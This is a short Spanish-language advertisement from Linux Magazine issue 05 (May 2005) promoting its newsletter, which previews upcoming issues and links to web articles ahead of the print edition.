BOLETÍN LINUX MAGAZINE El Boletín de Linux Magazine te da la oportunidad de ver lo que se avecina en el siguiente número de Linux Magazine e incluye enlaces a artículos que aparecen en nuestro sitio web antes de que la versión impresa llegue a los quioscos. Suscríbete en www.linuxmagazine.es/boletin.
A LA VENTA: MAYO DE 2005 98
Número 05
WWW.LINUX- MAGAZINE.ES